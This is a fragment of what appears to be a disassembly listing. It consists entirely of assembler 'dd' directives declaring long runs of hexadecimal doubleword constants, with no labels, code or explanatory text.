		dd 0AA03638Eh, 1F987077h, 2549EC79h, 5B5002E4h,	0E0EFC755h
		dd 0F53B2A3Ch, 812C24h,	11F04C2Bh, 0FBE646B4h, 0D95DB80Bh
		dd 3FEE8074h, 9E06446Dh, 429A843Ch, 3E84E09Eh, 8CB4D300h
		dd 58FDD0A5h, 0A049221h, 0B581A62Bh, 588A2ECh, 0BFF5FAF2h
		dd 80242430h, 3EDAE4D8h, 0E779A702h, 80FB958Dh,	0BEC269F8h
		dd 7A82299Fh, 1061260h,	574F7312h, 7C39F445h, 0A7511262h
		dd 0A4B0E0ABh, 0B05764Bh, 0BD27DD0Ah, 6930588Ah, 0DCA170E7h
		dd 98381B93h, 0CC4B5926h, 6C47100Dh, 1A64C441h,	0CC00F9D6h
		dd 83AA67A0h, 604A0284h, 7F275D48h, 78C61842h, 1C0E3F26h
		dd 2C99AE98h, 6A4900E2h, 0D9884624h, 69FFE060h,	0FDB440ACh
		dd 74A0C7EEh, 4C2479FBh, 0F1679CFAh, 0AF001D7Eh, 1B33730Ah
		dd 0C887001Eh, 3C30E9A1h, 0E325B956h, 0C90C805Bh, 0C5DADDh
		dd 5F5121A4h, 0D3D2F30Ch, 96C8D960h, 51072F03h,	89F8803Ch
		dd 0E74D008Fh, 0D21A81BCh, 4C4846E6h, 634780D4h, 5CEA217h
		dd 8CC715C2h, 0BF949065h, 0C458D253h, 94428074h, 10E727Ah
		dd 8B1662C5h, 30CBBD80h, 0BA4CC82Ch, 0C2130068h, 17C91207h
		dd 36821E41h, 59C4C26Ah, 0A4608123h, 1C9C768Fh,	2DDF4980h
		dd 25CC5F8h, 0D611BAB6h, 50486D92h, 0F4BD144h, 0D0007813h
		dd 8884E1D5h, 0D70B0533h, 0A23D3453h, 0D520194h, 473FB52Dh
		dd 2100D832h, 22CE6943h, 6B0258CCh, 3B72B496h, 0D2A48036h
		dd 7123D0CAh, 47E300A5h, 4C03E68h, 7800A2D5h, 0D23B91A9h
		dd 5088BCD9h, 388EF876h, 1530C36Ah, 66571BC6h, 343E1C13h
		dd 96DB2C01h, 0C0668475h, 6562AD00h, 0EEECCD98h, 0AF383B12h
		dd 20B44C40h, 94052111h, 0B2FA0220h, 0D0506540h, 192D14B1h
		dd 442C1C04h, 0AD00F748h, 1BE2B912h, 0FF072751h, 1F01BA16h
		dd 78B4C914h, 17840041h, 0F56732CFh, 8224C258h,	0AC817CB3h
		dd 4BC96E46h, 0FA1CA04Ah, 884A93F0h, 295B2B00h,	1A3E40Bh
		dd 9F3F72B5h, 0E820B040h, 8FDB5CD5h, 29896800h,	0F1B6A1D0h
		dd 0E222BE00h, 286E27F4h, 0A0735054h, 0E04E1F5Ah, 52D70178h
		dd 0E4A6F2D6h, 810288AEh, 0D3CEA0A8h, 6F8C4224h, 6C8194D8h
		dd 3B986400h, 0A4DCDB02h, 0D47E8FE8h, 9EA3B31Fh, 13925340h
		dd 7C0E94Ch, 26BA8B03h,	562E20F4h, 140B06C5h, 0C0172B77h
		dd 2A12423Ch, 0BC80452h, 5A3973F9h, 0E00FDCC5h,	80A36525h
		dd 272758A4h, 0EC2029ADh, 637DEECCh, 5D954305h,	18C428C2h
		dd 0D44CC841h, 0EC504DE3h, 0C31CCBC6h, 73FBB6F1h, 0BB3763B8h
		dd 0C539C01h, 0A4144A61h, 60792020h, 0F58F9834h, 0C0070E5Fh
		dd 53F364Ch, 0B847BE73h, 201095h, 0D7E689F3h, 0E164A950h
		dd 0DC0AF8A9h, 5A001DC6h, 0F18BDC5h, 28E27FAAh,	5C172Dh
		dd 38B020C6h, 0C45AE1B1h, 6648A0F6h, 73C2DE4h, 2A60C8F4h
		dd 0B0FFD34Ah, 9B1075Ch, 0C5D64C57h, 468256Fh, 80537F60h
		dd 99076644h, 0F49104B0h
		dd 58E0FD47h, 45DA2B3Ch, 28EC54BCh, 0E7321390h,	6007F0B8h
		dd 32CC18h, 18C76F29h, 0D1BD0E08h, 83F51713h, 97E6C9Ch
		dd 848629D2h, 8AA62880h, 972ECDA8h, 5422481Eh, 0C9EF2Fh
		dd 82AB580h, 3EDC0040h,	9157E8FCh, 2300556Ah, 6BCA2243h
		dd 9C7AA40Eh, 40677A58h, 39492C80h, 5A4243Bh, 0C9C133FAh
		dd 0C0CFB9h, 0AC40A815h, 7131534Eh, 34EC0069h, 7A573E75h
		dd 35300DA4h, 8ED661E1h, 72B200B7h, 30B00401h, 0A4A0234Ch
		dd 9E00C6D7h, 0DAE0DD8Bh, 0B59F4AEh, 191D76EFh,	510A3800h
		dd 0E41DF93Ah, 0DB40EAB3h, 1BF56E23h, 5FE62610h, 42FB12ECh
		dd 8B319520h, 44001870h, 1D2738FCh, 7CE813C5h, 0CC4C5987h
		dd 2ADB54A3h, 4A9803C5h, 5998AA4Bh, 6A5E9076h, 0C34B053h
		dd 0C82882Ch, 0CBDACAD9h, 0B17ECF1h, 0F4803EAEh, 0C09DE467h
		dd 0DE086831h, 0B00F00Ch, 0FA4E5D12h, 7D03CE7h,	8F18A5F1h
		dd 21A2D002h, 0E16095FDh, 51275FA8h, 0DB752CF2h, 73ED0385h
		dd 0CCD02918h, 542D5A2Ah, 0DD580208h, 0AA1040B5h, 0F4EA00E5h
		dd 5BD5B14Ch, 0BE13E603h, 0FC919E29h, 4CDC853Fh, 8F8C1F46h
		dd 0A07758D7h, 9C00DFA8h, 91EAD02Ch, 9E74F85Fh,	4F8DE0C4h
		dd 21390AE1h, 7AAB81A4h, 11CF4281h, 0BA40F468h,	0E87D122Ch
		dd 0A390246Eh, 5CC0C4BCh, 5500A88Bh, 0F01290Ah,	164CFEB5h
		dd 7CB602F4h, 79302AC8h, 3EF80044h, 832B6991h, 38481648h
		dd 1C13F0A9h, 0B0C7A213h, 0F35090B7h, 12FC083Eh, 90F750D9h
		dd 0C4E9C768h, 92E44C58h, 5F481CC6h, 7BF460A0h,	0D001D637h
		dd 0C517082Dh, 0E3701603h, 0B261073Ch, 3F6DA876h, 5AE717F3h
		dd 0CCF34940h, 4069182Ch, 9CC8218h, 85780D54h, 81971051h
		dd 73A63030h, 0B1523D74h, 0C1E1101Dh, 3545B3F2h, 58502DC2h
		dd 0CD1386Eh, 0E070F991h, 5C0800B2h, 0F4F8D54Fh, 5D1DE290h
		dd 0E18009C9h, 92BCDB24h, 60E42DBBh, 7E17B414h,	0FC40C0C6h
		dd 472B3FCAh, 80609C9Dh, 14646A26h, 7D0B933Ch, 688BC127h
		dd 24B9CBA4h, 381824Ah,	92884960h, 0D5FFA680h, 1A374F12h
		dd 587030B5h, 3E650045h, 0CF9A39ADh, 0A300EEFAh, 6C49A982h
		dd 123793B2h, 0A451D4C2h, 0C52CD144h, 0D5801066h, 6D6A202Ch
		dd 6CF00A7h, 79FA6597h,	8248170Fh, 0C7510039h, 99246BA2h
		dd 6308005Ah, 173355Eh,	0EC91168Dh, 84D92830h, 46ED02FDh
		dd 0F75ED70Dh, 7800E064h, 638D1B75h, 0F037B877h, 0AA1512B4h
		dd 0E80FE004h, 5CB52C13h, 0E074D854h, 5C12886h,	0E9D34B85h
		dd 20B87745h, 136F1192h, 0E925FB00h, 0CDF5769Fh, 0ECEB58A8h
		dd 2014B4B0h, 0CD48B28h, 0FE809494h, 0DFC03DD7h, 8D103B4h
		dd 72E45E8h, 0B34994F8h, 41004092h, 0F68ECAF7h,	778C8340h
		dd 95C712AFh, 0A158B26Eh, 0B660E967h, 20BC4B5Dh, 0EB0BCA78h
		dd 96397760h, 0AABC2FBh, 0C1084B21h, 1F518960h,	57117C80h
		dd 0C4010FF9h, 64C563DDh, 122A10A9h, 0BA5CA5C4h, 7E367CF8h
		dd 0E0B959h, 40DD1C78h,	95E98091h, 9BA09450h, 3522571Ch
		dd 6FFAF282h, 0BC3048C9h, 193E3CEDh, 3BFF9500h,	2734CCD2h
		dd 7161EE0h, 2C95A004h,	28984A0h, 0B7F67B31h, 0B054991Eh
		dd 0B4AB62E0h, 0A69D036Bh, 0B00274EDh, 985344F7h, 9D008FF0h
		dd 0EC6F08DDh, 7AF2FEh,	0F1831D21h, 0AC365FD2h,	3C2861E3h
		dd 790880A4h, 285D657Bh, 983B07h, 5BFCBE42h, 32977C56h
		dd 2739EBA0h, 0E06ED0BEh, 9C957543h, 7AA60974h,	586817BAh
		dd 68008567h, 0D1FADFE0h, 1C98DE6h, 7A0297F6h, 0C41386C7h
		dd 74B029A1h, 2ADDD000h, 0D6437EB7h, 7BDB0995h,	70717221h
		dd 0E5D2BB8Bh, 94B88020h, 0E063ABCFh, 0ADD919C0h, 4F3412D2h
		dd 0E0B034C2h, 380757ECh, 431203Bh, 0F7FBDCE0h,	8A253B6Eh
		dd 6787740Fh, 0C0D47F62h, 5381AE40h, 0E2D5150Bh, 690C0FB4h
		dd 92E0E65Ch, 0F2541E7Ch, 225E8058h, 0B615AE94h, 7C2F9F00h
		dd 34CA76Fh, 0C6020086h, 5161CDB5h, 0B3000A79h,	97425EC7h
		dd 0B11BF8FEh, 88E6EB4Ch, 4022D75Bh, 0EABFE1ACh, 0CC40E0CEh
		dd 9A150023h, 0DA42B812h, 0D15C0767h, 28325A5Ch, 19D880E6h
		dd 6BD0F8h, 0F9B8C14Eh,	0BF7B7A1Ch, 80C9C09Ch, 27C22AA0h
		dd 0E881052Ch, 88C19186h, 7C156258h, 3BB8DCD8h,	481A93F6h
		dd 741989E8h, 202F1991h, 0FB006D64h, 1A11E9C3h,	0D886AEh
		dd 8E75DA03h, 0A7BB7E98h, 0BEC8F0A3h, 62136A84h, 0C8D410h
		dd 8768909Eh, 333F09FCh, 77532840h, 73007CB0h, 0BFBBC2A3h
		dd 2C188AEh, 9086263Dh,	8C7BBC74h, 0FA3C242Fh, 2604ECE2h
		dd 0C1816BCFh, 4028CE3Eh, 0F1C58CC9h, 0F70B909Ah, 18D4F96Ah
		dd 7B0C5398h, 0EB7B2ABEh, 9C175DCh, 51118B8Ch, 81525C20h
		dd 8511EDB3h, 630459EAh, 0F69D9403h, 2251002Ch,	49CE44F9h
		dd 726705A4h, 95F361E5h, 0E4F0D8B0h, 11BB5F07h,	87C1F804h
		dd 71802B6Eh, 9C36AC2Dh, 9700AFE3h, 85E8AE15h, 885CE0B7h
		dd 733092FFh, 0ABF4312Ah, 0F9770081h, 0B007D426h, 968E35h
		dd 10C7AA40h, 31206566h, 43FCF122h, 0E6917BA4h,	0E3B9C43Ch
		dd 97A24804h, 0B9C13B8Eh, 51C82404h, 4364969Ah,	1AC066FFh
		dd 0F207970Eh, 0DE3E10BBh, 7855C950h, 97989A1Dh, 644024B2h
		dd 0F3028813h, 3722520Fh, 3E1C5036h, 0F802D9C1h, 9C4F050Bh
		dd 10BB68F3h, 0CF4AD1B7h, 0C81B0B2Ch, 0F32480EEh, 7AA2B57h
		dd 5490E27Dh, 0F278A28Bh, 500EA044h, 0BE65055Eh, 55104642h
		dd 62C0519Eh, 4CCCD464h, 0F82EB49Eh, 24A352D0h,	81641362h
		dd 16C8A70Ch, 82BC69F1h, 6076E1C5h, 0B834E00h, 0CCF01E55h
		dd 0B08AC420h, 521F2FDAh, 0D442067Eh, 74C81F48h, 30896D9Ch
		dd 0FA09B865h, 20B34317h, 8334A858h, 16F40B8Bh,	4CB01557h
		dd 0F527711Ch, 1046514h, 27136087h, 7C1D2AA7h, 70450FFDh
		dd 0B23B20FCh, 137E059Eh, 26B51C22h, 2C90412Ch,	17273776h
		dd 0A8B0909Bh, 1247DAFh, 0B17D9D3Ch, 2CCAC381h,	9244D178h
		dd 38082Ch, 19E95A84h, 134D1543h, 2CC4284Dh, 0F0F94AAh
		dd 0EB8C4067h, 91AC4EF9h, 167DEA84h, 76950056h,	1C10FB4Bh
		dd 0DC80734Fh, 0FDEC3492h, 0A865F1F4h, 91146B0h, 4D41B32Bh
		dd 4A13C4F2h, 1F00C2BEh, 438FE802h, 235630D8h, 9F26E669h
		dd 98B8DC60h, 9A7F6Ah, 12BBFAFDh, 67F49117h, 48FE1118h
		dd 24C54A31h, 0FC21C6h,	0F0B3A447h, 0EE07D259h,	0E9C993A5h
		dd 1C843AA0h, 0F4D75218h, 4178ED18h, 8914E97Ah,	2F8DF6Ch
		dd 0D90B6B42h, 40F8408Ch, 29D360C7h, 0E362F4D5h, 6300EC90h
		dd 2D3B3F0Bh, 0FCD029BEh, 0D7981Dh, 26117A76h, 0AB8BD3EBh
		dd 0C9C13412h, 0E2AD68B0h, 5D3112B6h, 0AEB440A8h, 0D6F5D40Ah
		dd 0CDC0431Eh, 8C037252h, 90A967E7h, 790E54h, 0D018BF4Eh
		dd 69ED6A31h, 0F0805C91h, 67762EC0h, 5BB50923h,	365101h
		dd 0B9762D09h, 25CCF984h, 74797441h, 0BBFAB574h, 0C3B4CD59h
		dd 348B9Eh, 0F5F939B1h,	3FD85DFh, 349CC14Bh, 0E2BBF2C5h
		dd 217F00FCh, 0E96515E8h, 0CB007C3Dh, 0A78D96F8h, 13A9C742h
		dd 24BFF451h, 0F064FC30h, 3B5CBA38h, 970B9599h,	90C4BCC0h
		dd 40664D00h, 5CD5943Ah, 0A3DC0056h, 0A9946EFh,	2E01FA36h
		dd 7EE655Ah, 0F42D8CB1h, 6135A906h, 1279D1ACh, 9CF4C824h
		dd 0A9008CA0h, 80A5C70h, 16A4190Fh, 4F9B433h, 0C01DE828h
		dd 0CD6C07D2h, 0F8B6830Fh, 0DE7840C0h, 3BF7537h, 649F1EC7h
		dd 0C88DEFFCh, 0AB3B8C04h
		dd 0E40BFECEh, 482E47F6h, 0B678FCE8h, 5CA069C8h, 5157602Ch
		dd 6D0E4100h, 18F384ADh, 127C2638h, 6F52C09Ch, 2B2F40C3h
		dd 4A043847h, 0CC0B27Bh, 96E7081Fh, 8C4E9CF1h, 602A2039h
		dd 0D15532FCh, 29C57931h, 0F6AB6CBh, 69376C9Ch,	0D2FC68C4h
		dd 0C85828F7h, 5A99E900h, 30B59705h, 0FC888298h, 200ACA8h
		dd 0C65CB9FAh, 0A1205CDh, 99BBF569h, 504ADCh, 218A73EFh
		dd 0C6005988h, 0D287D19Ch, 2E103DEAh, 250456E1h, 0A049096h
		dd 1C02B630h, 7A9FC0E4h, 0C000BED1h, 0D93CDA4Eh, 9C417100h
		dd 58E3E42h, 2F2D0F6Dh,	40574DAFh, 0E2AC0B00h, 0D14AB92Bh
		dd 45F12807h, 0FA606C27h, 3A8DFDCFh, 90D4D6DBh,	0E5BF01D5h
		dd 62797B1Dh, 40172A03h, 2D8030CAh, 5E91B9D6h, 78A2D400h
		dd 2803F8Bh, 288616EBh,	60DC87BAh, 0DBD7576Fh, 0F502F492h
		dd 1C062691h, 0BB5461BAh, 62A6F4h, 735E9F10h, 0C69CFAB3h
		dd 0E4E0FD00h, 8A33BA55h, 0C306256Bh, 0C14EFED8h, 2A3F6429h
		dd 68005FA0h, 0D654204Ch, 3E4E0295h, 0D9D7B476h, 0E88A3C40h
		dd 94600605h, 44CAAA20h, 0D0B7E208h, 0D6006C28h, 20475782h
		dd 5C9CDDh, 2EB8BB6Eh, 53DC8ACBh, 2488AE1Ch, 0E08740C0h
		dd 16D2F9C7h, 9C0D853Fh, 7D2A6804h, 0C380ACE9h,	9B5A53EFh
		dd 0F04BCC88h, 0F69E029Dh, 86A711BBh, 1B80204Dh, 46FE3864h
		dd 789095A4h, 0CC06DA92h, 0C1563F67h, 69D8BC80h, 2784E8FBh
		dd 0DCBC0DFBh, 4E3BC380h, 9A007824h, 3C7622C2h,	33298C18h
		dd 35282BABh, 2108AE4h,	4C4FD95h, 8020D4E3h, 0D4F0AAD3h
		dd 2095F242h, 0B9EF60FCh, 2CCA1E74h, 38466DB6h,	7F96D31Eh
		dd 7D0294EAh, 0AC1058CAh, 0A6B060E9h, 2825FB61h, 0ECCB7740h
		dd 74144831h, 0F9CF5784h, 30E2D29Ch, 0A9559A01h, 6EF56BB6h
		dd 4BB0804Fh, 2B84E002h, 41B0091h, 0AD1D6ADEh, 0CE6A6F49h
		dd 0A7005850h, 6A00A5Ah, 39AA0056h, 1A6FE49Ah, 1C09BC77h
		dd 0A447527Ch, 0CF800794h, 98F826B2h, 27342C3Ch, 61280C4h
		dd 0D10EB9C5h, 3A39E204h, 9CD4B063h, 7AC050BCh,	0F2F4A6CEh
		dd 0C70C0A0Ch, 90FB019h, 0E8C557BBh, 80394503h,	6DCE4BE0h
		dd 307C5000h, 46620408h, 385B498Fh, 0E047980Fh,	0F0333849h
		dd 944C692Bh, 6002024h,	0BD76E1ABh, 839C9118h, 46B36408h
		dd 1C5BA8A8h, 0E7E0D658h, 47848FF1h, 9BD25F4h, 41E765F4h
		dd 0DC681409h, 420011B9h, 2AB8678Fh, 35FDD6h, 2653ECBFh
		dd 871F375Ah, 0F73C61F8h, 0D86B0B42h, 1EC38082h, 9FC9DCh
		dd 323FACBAh, 0FBADF7A5h, 1278B494h, 80B90034h,	861A53EAh
		dd 0D62F77FBh, 852C8042h, 9032889Eh, 65E0AD8h, 818C4014h
		dd 11C4693Fh, 2D1A6086h, 0CD991627h, 0DC39A5B0h, 0D5B88BB1h
		dd 72645983h, 839FF870h, 0C8BEECFCh, 6815059h, 669749FBh
		dd 6C0078D0h, 0E0FA463Ch, 2EDE2DA5h, 2D8CBC87h,	0C8F1309Ah
		dd 0B5AD0A00h, 182854C4h, 6167EA5Ah, 1B068BE7h,	18AB1983h
		dd 0C6311699h, 0C7C4B21Eh, 7510CEF1h, 7AC4DF2h,	3D6748DDh
		dd 32EB06Bh, 164DD5E1h,	0F0CE92C4h, 5AB76307h, 8581903h
		dd 9E654D01h, 0DD269933h, 0F47248CDh, 0B82C0048h, 869838F7h
		dd 1F0449ABh, 0A8C87A5Bh, 8CD0F50Bh, 57FA0Eh, 80C5F12Fh
		dd 8259580Fh, 0E2EDEBA3h, 0E770480Ch, 356A94A0h, 69641680h
		dd 0CE500E7Ah, 0A88A1D60h, 727E907Fh, 0F898A54Ah, 0B5AC2A99h
		dd 7DBF07F4h, 0D0AD2C24h, 0BD948122h, 0C0E41A15h, 2C3E83E8h
		dd 59790053h, 680DB119h, 80F95E3Fh, 36EFF349h, 0D51AFFh
		dd 4280D7B7h, 0A8D3CC26h, 134C2E79h, 0B08DA5D8h, 58F6A845h
		dd 5131C603h, 0ADD87532h, 7A0E8452h, 40B99046h,	6E7D33ACh
		dd 0F89D006Fh, 4B5F397Ch, 670569BBh, 60857975h,	9CBCCA85h
		dd 392CA0D7h, 0D97E240Ch, 13F369E9h, 0A20D2393h, 726B894Ch
		dd 0F7ED0088h, 0E9D904Bh, 3B60FF17h, 10DC3DF1h,	5649676h
		dd 408FE7AAh, 0D18D9590h, 0B40BACBBh, 70546Bh, 0B0E2A574h
		dd 0F3DF001Eh, 0F5437B32h, 203D7821h, 863C8112h, 25BB2802h
		dd 0B5A0207Bh, 5C04943Fh, 0FBEC25Eh, 0D459F0C0h, 2E0A0012h
		dd 0F62A4396h, 109130BFh, 14615CA9h, 6864FA20h,	6921050Fh
		dd 0EF88807Bh, 82F2E303h, 4FB879C0h, 3D2C8570h,	20022EA0h
		dd 0A0097CA1h, 0CBB112ACh, 8D245FE6h, 10E44040h, 0BD7F7FF3h
		dd 0C0F0B300h, 0F4D00DB6h, 9789C3A1h, 47F075CDh, 215BF1ECh
		dd 0BBF5E493h, 0D9D09F2Dh, 0A0023E35h, 6FC78Ch,	9F3A5FFh
		dd 0C568C1F8h, 80E2BD00h, 7229B598h, 0BD9EC40h,	53DDC77Ch
		dd 1B8098F1h, 12AE76E4h, 8E98329Bh, 18D69481h, 0ECE7EB0Bh
		dd 3DF7EA18h, 0E080F4EDh, 0EC7ADCFEh, 0D007F183h, 513537A5h
		dd 0C3F02570h, 24124BC1h, 0D1B0E8C8h, 18AA0928h, 0DF18001Ch
		dd 40CDE8CCh, 0C930A3F6h, 0B2DEC053h, 0D47C00FFh, 0A23EE945h
		dd 4609A0C6h, 53198AF0h, 0B520088h, 0AA9113BFh,	944B749h
		dd 0F87B58B9h, 0F2610030h, 85017965h, 0C9302C3Dh, 2983A1ADh
		dd 90E54F4Eh, 7724A0A0h, 16440130h, 13555D7Ch, 0B4732DD0h
		dd 265F3910h, 37E338C0h, 83100425h, 40BFDA92h, 0CF17883Dh
		dd 404E5AE0h, 0C2BE66E4h, 99002DE3h, 8DEDC8B5h,	399F0ACAh
		dd 1863664h, 0B8F5D096h, 184DD21Fh, 204F2649h, 13D6EF9Ch
		dd 68D09EC0h, 0AD9000F0h, 2F9A803Ch, 77782800h,	42911911h
		dd 0A40913BBh, 1674E395h, 2CA0B6E2h, 0AA1A0644h, 514F0359h
		dd 9974B507h, 0D3D0C9C4h, 9ED04760h, 1D49583Ch,	10FD6632h
		dd 8404786Fh, 0C9175F54h, 28002AF4h, 3E13526Bh,	0E2DB0E3Dh
		dd 0A6E5F274h, 0B7B817EDh, 0F0D05EA4h, 0F80D07Fh, 0EE3E5933h
		dd 0E2692C64h, 158D00C8h, 92854193h, 0C3990B55h, 486630BBh
		dd 88403497h, 1646A338h, 207289h, 8CF42AB6h, 9B0436EEh
		dd 5DE97E5Bh, 400050ACh, 9C569384h, 4B75E1BBh, 0ED3C6B09h
		dd 2880E075h, 6803B72Bh, 8C030858h, 263C3E29h, 0A00DC0EEh
		dd 0C88A4E01h, 65A7F58h, 9BFF00D3h, 81A0CF76h, 5E0E6A3Dh
		dd 28E801A4h, 502ADAB4h, 558830ACh, 91F07C07h, 3EA45C58h
		dd 95992CC8h, 0CF02DC98h, 29528800h, 0E5DD6C77h, 167492D0h
		dd 82ECBEC6h, 0E47A88CCh, 0C740E825h, 0EBDCA9B4h, 80CAE0F9h
		dd 0EBBB1600h, 961B33F6h, 0F001015Ch, 3DA8B698h, 0B3268A30h
		dd 0E1A62D00h, 2CD34992h, 0C248FFFh, 0E589E036h, 5B0106B0h
		dd 93AF05B2h, 4C297946h, 0F8510118h, 0C9007BB3h, 7D3E98CBh
		dd 7EF3172h, 0B17CA2B6h, 0FC807B95h, 0F2AB018Bh, 0CA11D460h
		dd 74105969h, 764E0B11h, 0C013D527h, 0F8D11990h, 5A3FF3FAh
		dd 893C8B24h, 33F83061h, 34AD0004h, 52B0B40Bh, 0F603A018h
		dd 87BFED27h, 32F81C9Bh, 26BD8038h, 6F5D6BEBh, 932E5B00h
		dd 3D1B0378h, 1A890166h, 0C8285286h, 598069EEh,	8CEA05E0h
		dd 34900621h, 0B83BB1FBh, 0B4BF03B0h, 10159DC6h, 64436699h
		dd 502A5488h, 0BE00C8C5h, 0A9E9B2E4h, 72E7D4AEh, 32AD00ECh
		dd 42615EA5h, 3295AA23h, 0F034CAD4h, 0B7C50B5Ch, 0DB806AC9h
		dd 6168F3BEh, 70E8CA01h, 9BFA3742h, 0B794716Fh,	0C0706B5Fh
		dd 1FBCCDAEh, 0C021A8CAh, 0F29EEE77h, 84000407h, 8AE11964h
		dd 3D6B1FC9h, 8EA8C048h, 0B6D02584h, 5F0CD4A0h,	0C5F87A47h
		dd 4AC4C148h, 64F598C9h, 8838202Ah, 3560AA51h, 694C7010h
		dd 0F4BA504Dh, 6E4A0023h, 0B6DFD804h, 54EACE8h,	95846CCCh
		dd 0EC37A010h, 23C9A49h
		dd 8F461CB0h, 404CFC84h, 0A1D585ACh, 82252428h,	0E3836E0Ah
		dd 0A482849Ah, 0A246703Bh, 547D4CD8h, 530FE1B8h, 0F8218203h
		dd 60573E74h, 1DAD30E0h, 0BDE42945h, 0D3E9131Dh, 0AA908C99h
		dd 41D7EF13h, 5057D0C0h, 292700BBh, 0AFB4CB5Fh,	0F5E5663Eh
		dd 50203A71h, 0B8C87221h, 0C419BF6Dh, 74356F85h, 4297A4E8h
		dd 9A4565C8h, 7C072456h, 480061DBh, 3521318Ah, 3285D17h
		dd 974664B8h, 6130B9D8h, 175EF44Ch, 60B5D712h, 41DE020h
		dd 1F364684h, 0A9F4C5A3h, 5478BD0h, 0B840A819h,	864827ADh
		dd 0C0153BEFh, 748BB02Dh, 0B9DA201Eh, 6B1CFC48h, 0A6490D1h
		dd 384F6CDAh, 0BEEC2B74h, 22B98417h, 96D10430h,	4A5B091Ah
		dd 0D08EFEh, 0B74DAB0Fh, 660CCEB1h, 1F303F72h, 4F781DA5h
		dd 0EC04689h, 45CF4F0Dh, 76145A38h, 0A1980860h,	0FCAC0Bh
		dd 0C5549C84h, 38DD2C9Fh, 885B3D00h, 0A20D602h,	0BB31C0B5h
		dd 42D4C277h, 95B68401h, 49263E9Eh, 0F74970h, 0F870DC73h
		dd 0B334A1F0h, 0A8CED8C2h, 0BB4C48F1h, 0EF773056h, 50DFF5E9h
		dd 84D09F5Fh, 4F6A9D90h, 0E4AC84F9h, 3EEDD4D8h,	1014E425h
		dd 34E0D294h, 0B2032A4Bh, 80B809B4h, 18FBCDC4h,	4B44C9ADh
		dd 0EADD55C4h, 0CDF102BAh, 7952ED65h, 0EE2F05FFh, 0A125C0ECh
		dd 7A0EE065h, 0C23C2061h, 0B730952Bh, 98C1B881h, 0D0F0042Fh
		dd 0BF3401A7h, 0FBD1E93Ch, 68488BE8h, 399C008Ch, 0FE9D6479h
		dd 6FE2003Eh, 6CAC7E34h, 0C5728BD0h, 0CA6844Bh,	4D11A504h
		dd 0CFDC91C6h, 8F5D30D7h, 0A824D424h, 0A0571C8Eh, 0EFE341DCh
		dd 6F2A0995h, 0D000A96Eh, 62785574h, 315C9E00h,	224232A7h
		dd 0E2632EF1h, 0C9D8A688h, 0D280445Ch, 0C4F75AF5h, 29702A95h
		dd 0AE3309DCh, 84218534h, 0FCB8D010h, 0C41CF82Fh, 17C2C069h
		dd 283788A0h, 420A6D0h,	0BA0D9111h, 56BF6049h, 0E951C064h
		dd 89BDB7C0h, 307A1Ch, 0A6680DB6h, 3BD93C8Fh, 6A1C31E3h
		dd 76C38C60h, 0C903040Ch, 8C967016h, 5C99B678h,	3BBCCC2Dh
		dd 696E1F96h, 4D5140FEh, 0AF473638h, 0E0470C0h,	0BE21BBAh
		dd 61FF9E6Ch, 0DB00A452h, 36E46046h, 73E863Bh, 0EE68CF2Ch
		dd 0A219457Fh, 18BDC004h, 25A645DDh, 787A942Fh,	0D218D149h
		dd 222F28E1h, 0C07EF2ACh, 5152A1C7h, 802D5582h,	4C7C3991h
		dd 38097D34h, 0E687FB4h, 8255ABDBh, 626960FCh, 79785E90h
		dd 41444996h, 0D4A550E4h, 3E01C079h, 0E1922EA9h, 603F987Eh
		dd 0B125658h, 8075B326h, 4436E640h, 0A09D1819h,	54AE69B5h
		dd 0D7C77000h, 0C9C53550h, 9619069Ch, 0D8AC779Fh, 0DBF77D00h
		dd 0D64C8B13h, 10249FFEh, 0C040E811h, 7FB1EE4Bh, 12B30F17h
		dd 0AE63061Fh, 584ED889h, 9C8E9484h, 11C8DD19h,	855450E8h
		dd 0A20029D2h, 0AA8B4F3Eh, 485FD4C7h, 47811C66h, 20776007h
		dd 7FF7DF2Fh, 19A46060h, 92D1020Fh, 0F59CD715h,	12491056h
		dd 92AC7E18h, 87CCBCBAh, 9F1007C6h, 247EE8A9h, 0E28015EAh
		dd 6C4E620Dh, 0E149340Ch, 1780BFh, 0EF03B738h, 4639BCB3h
		dd 76270100h, 53CD0290h, 0A0AC0E0Ch, 705B91A5h,	0D1A7FD91h
		dd 4C1F2FC7h, 53FAF680h, 7307429h, 1311CD25h, 0F83B50C8h
		dd 809D8520h, 9392C298h, 1A8700A2h, 0C41D4680h,	62130535h
		dd 4A81Ch, 0C9C2B91Eh, 8CAB60BFh, 89611CD2h, 938440E3h
		dd 7744A50h, 0AA0010B0h, 1CC9767h, 98984010h, 0D184004Fh
		dd 7BB7D912h, 0D3009150h, 6011FC14h, 4FEA6B03h,	1AD48375h
		dd 3D0001D2h, 0DDC637h,	968F9F85h, 5FB33C0Ah, 0F0509960h
		dd 7D5238BDh, 0C7FF001Eh, 0ED404164h, 0F7240A90h, 0F000C79Eh
		dd 5898BD75h, 39FD3EA5h, 0A1FABE83h, 76A19D31h,	0BC81F08Bh
		dd 90ECF81Fh, 0D580599Dh, 0BA74ED45h, 649E0040h, 0AFDAFCBFh
		dd 8400B254h, 0BEC5AA18h, 79353B7h, 4449DC6Fh, 7E05B070h
		dd 0F900A658h, 0FD0F5479h, 39699142h, 26022CB6h, 0E31EC04Eh
		dd 38DEAFE0h, 46052100h, 0D2713FCCh, 4C4890E6h,	0A31D5C15h
		dd 6D1DA7h, 9B75EEA8h, 5C3044C0h, 4B661E4Dh, 87A00050h
		dd 7AE34239h, 0DC00536Eh, 0F4EE6583h, 182E64ACh, 0FCEB58C5h
		dd 0D5F41856h, 82216C01h, 0C85BE8EFh, 4783C44h,	0BA3E00CDh
		dd 1F82F753h, 0CB5025D5h, 443D85BCh, 0A95B0081h, 2B90BF3Dh
		dd 5CDF3940h, 738E8D00h, 0F8D6B607h, 51385630h,	78F9D37h
		dd 2BBDDC1Bh, 0B680FF77h, 0C3A78BA6h, 0CD73F3Ch, 3173575Dh
		dd 0C873051h, 43F99E48h, 896EE33h, 0AE21004Ch, 0B0CE0CBFh
		dd 8600E70Ah, 0AD275D63h, 66D51C5h, 0FC53B9EAh,	0AF18B885h
		dd 363972B8h, 3B021F43h, 0B65C0719h, 7E809C34h,	0AC7C7A50h
		dd 87F40600h, 0D694FC26h, 95042C4Dh, 8D2130EDh,	0E4B0F40Eh
		dd 851D2901h, 89FAACB0h, 30696442h, 0B080C8Bh, 64F8FEB6h
		dd 83B24047h, 5D4EB0Ch,	2AB3361Dh, 23883E4Eh, 0EDB10045h
		dd 0E8089B71h, 0A09E3Fh, 4484C9A5h, 5446BB28h, 0AD98438h
		dd 41458270h, 891F81F8h, 0C8B67412h, 0BE669936h, 9215309h
